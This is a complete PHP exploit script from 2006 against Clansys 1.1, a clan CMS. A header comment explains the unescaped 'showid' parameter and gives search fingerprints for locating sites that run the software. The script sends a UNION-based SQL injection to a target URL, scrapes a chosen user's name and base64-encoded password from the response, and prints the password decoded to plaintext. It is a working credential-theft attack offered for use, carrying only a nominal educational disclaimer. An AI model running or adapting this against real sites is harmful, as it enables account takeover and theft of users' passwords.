<?php /* |---==============================================================---|
| /\¯\__ /\¯\ |
| ____ ___ __ \ \ _\ ___\ \ \___ __ ___ |
| / __\ / _ \ / __ \ \ \ \/ / ___\ \ _ \ / __ \/\ __\ |
| /\__, \/\ \/\ \/\ \_\ \_\ \ \_/\ \__/\ \ \ \ \/\ __/\ \ \/ |
| \/\____/\ \_\ \_\ \__/ \_\\ \__\ \____\\ \_\ \_\ \____\\ \_\ |
| \/___/ \/_/\/_/\/__/\/_/ \/__/\/____/ \/_/\/_/\/____/ \/_/ |
| >> Internet Security |
|---==============================================================---|
title: clansys 1.1 remote sql injection
release: 2006-04-10
author: snatcher [snatcher at gmx.ch]
country: switzerland |+|
application: clansys 1.1
description: a php / mysql based clan content management system
download: http://www.clanscripte.net/main.php?content=download&do=file&dlid=113
description: you can get each password with a simple sql injection. the password
is base64 encoded, but it's easy to decode, that means, you will get
the password in plaintext :)
fingerprint: google -> "Clansys v.1.1" -> 4'030
msn -> "Clansys v.1.1" -> 529
conditions:
greets: honkey, str0ke <- good exploit publisher :),
all security guys and coders over the world,
terms of use: this exploit is just for educational purposes, do not use it for illegal acts.
---------------------------- member.php - line 180 -------------------------------------
$sql = "SELECT * FROM member WHERE id=$showid";
-----------------------------------------------------------------------------------------
because this $showid isn't escaped correctly you can insert malicious sql code,
i.e. with a union operator.
*/
/*********************** CONFIGURATION ****************************/
$PATH_TO_FILE = 'http://yourhost.com/index.php'; // in example: http://yourhost.com/index.php
$USER_ID = 1; // which user? default: 1
$TABLE_PREFIX = ''; // default: empty
$GET_VARS = '?page=member&func=detail&showid='; // do not change
$SQL_INJECTION = '-666 union select 0,nick,realname,nick,pass,'. // do not change
'pass,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,'.
'0,0,0 from '.$TABLE_PREFIX.'member where id = '.
$USER_ID.' limit 1 /*';
/**************************** MAIN ********************************/
$file_array = file($PATH_TO_FILE.$GET_VARS.urlencode($SQL_INJECTION))or die('couldn\'t open host!');
foreach ($file_array as $now)
$html_content .= $now;
$html_content = str_castrate($html_content);
preg_match_all("!<tdwidth=224height=20valign=middlealign=center><p><br><br><b>(.*?)Details</p></td>!",
$html_content,$username); /* gets username */
preg_match_all("!wwp.icq.com\/scripts\/online.dll\?icq=(.*?)=\&img=5border=0align=top>!",
$html_content,$password); /* gets password */
if ($username[1][0] && $password[1][0]) {
echo 'username: <b>'.$username[1][0].'</b> (user_id: '.$USER_ID.')<br>';
echo 'password: <b>'.base64_decode($password[1][0]).'</b>';
}else {
echo 'exploit failed! <br>';
}
echo '<br><br><br><br><br>
======================================================================<br>
exploit: clansys 1.1 remote sql injection vulnerability<br>
release: 2006-04-10<br>
author: snatcher [snatcher at gmx.ch]<br>
======================================================================';
function str_castrate($string) {
$string = str_replace("\n", '', $string);
$string = str_replace("\r", '', $string);
$string = str_replace(" ", '', $string);
return $string;
}
?>